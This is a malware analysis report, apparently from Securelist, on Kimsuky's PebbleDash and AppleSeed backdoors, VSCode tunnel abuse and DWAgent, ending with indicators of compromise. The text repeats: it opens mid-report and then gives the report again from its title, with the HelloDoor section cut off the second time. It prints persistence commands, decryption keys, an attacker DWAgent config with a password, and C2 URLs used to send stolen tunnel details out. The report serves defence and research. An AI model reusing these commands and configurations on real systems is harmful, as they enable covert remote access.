Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command	Description
“mcd”	Set the current directory
“msleep”	Sleep for the provided time
“install”	Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]	Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

result send fail (grammatically incorrect text)
server request fail (grammatically incorrect text)
command execute failed (grammatically incorrect text)
decrytion failed (typos)
autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

(PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
(PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
(PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
(PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
(AppleSeed cluster) Use of the m= parameter in C2 communication.
(AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status	Description
0	Running under the SYSTEM account with an elevated token
1	Running under an elevated administrator account
2	Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value	Description
1	Send the session identifier (parameter s) along with the current state (parameter a)
2	Request command
3	Send result after executing the command (parameter d)
8	Request directory to be archived and sent
9	Send the archived directory
10	Send a message like “.cmd” or “.tmp” (parameter d)
11	Send ping
12	Send the captured screenshot (parameter d)
13	Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value	Description
0	httpMalice has been activated
1	httpMalice has been inactivated (upon command 9)
2	httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command	Description
0	Do nothing
1	Execute the command with EUC-KR encoding
2	Download and extract the file to the infected device
3	Upload a directory to the C2 server after it has been archived
5	Get the current directory
6	Set the current directory
7	Execute the command without setting a EUC-KR character set
8	Remove its persistence traces and exit the process
9	Hibernate
10	Execute the command using the provided session ID
12	Capture the screen
13	Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number	Installer type	VSCode version	Download source
1	Written in JScript	VSCode CLI 1.106.3	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2	Written in Go	VSCode CLI 1.106.2	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

Executes code.exe tunnel.
Searches for the “Microsoft Account” string in the stdout.
Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
Searches for the “use code” string in the stdout.
Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
Searches for the “What would you like to call this machine?” string in the stdout.
Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
Searches for the “https://vscode.dev/tunnel/” string in the stdout.
Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

c:\programdata\dwagent\native\dwagsvc.exe installService
c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9 secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7 대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108 jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0 xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr C2 of HappyDoor
erp.spaceme.p-e[.]kr C2 of HappyDoor

file.bigcloud.n-e[.]kr C2 of httpTroy
load.auraria[.]org C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Securelist
Kimsuky targets organizations with PebbleDash-based tools 14 May 2026 at 13:00

Kimsuky targets organizations with PebbleDash-based tools

Securelist

By: Sojun Ryu

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number	Filename	Filename (translated to English)	Detection date	MD5	Malware deployed
1	[별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse	Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse	August 28, 2025	995a0a49ae4b244928b3f67e2bfd7a6e	HelloDoor
2	2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse	Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse	December 14, 2025	52f1ff082e981cbdfd1f045c6021c63f	httpMalice
3	security_20260126.scr	–	January 26, 2026	65fc9f06de5603e2c1af9b4f288bb22c	Reger Dropper, MemLoad, httpTroy
4	노현정님.pdf.jse	Ms. Noh Hyun-jung.pdf.jse	January 28, 2026	8e15c4d4f71bdd9dbc48cd2cabc87806	AppleSeed chain
5	대국민서비스관리운영체계현장점검증적(초안).pif	On-site Inspection Evidence for the Public Service Management System (Draft).pif	February 5, 2026	8983ffa6da23e0b99ccc58c17b9788c7	Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command	Description
“mcd”	Set the current directory
“msleep”	Sleep for the provided time
“install”	Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]	Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

result send fail (grammatically incorrect text)
server request fail (grammatically incorrect text)
command execute failed (grammatically incorrect text)
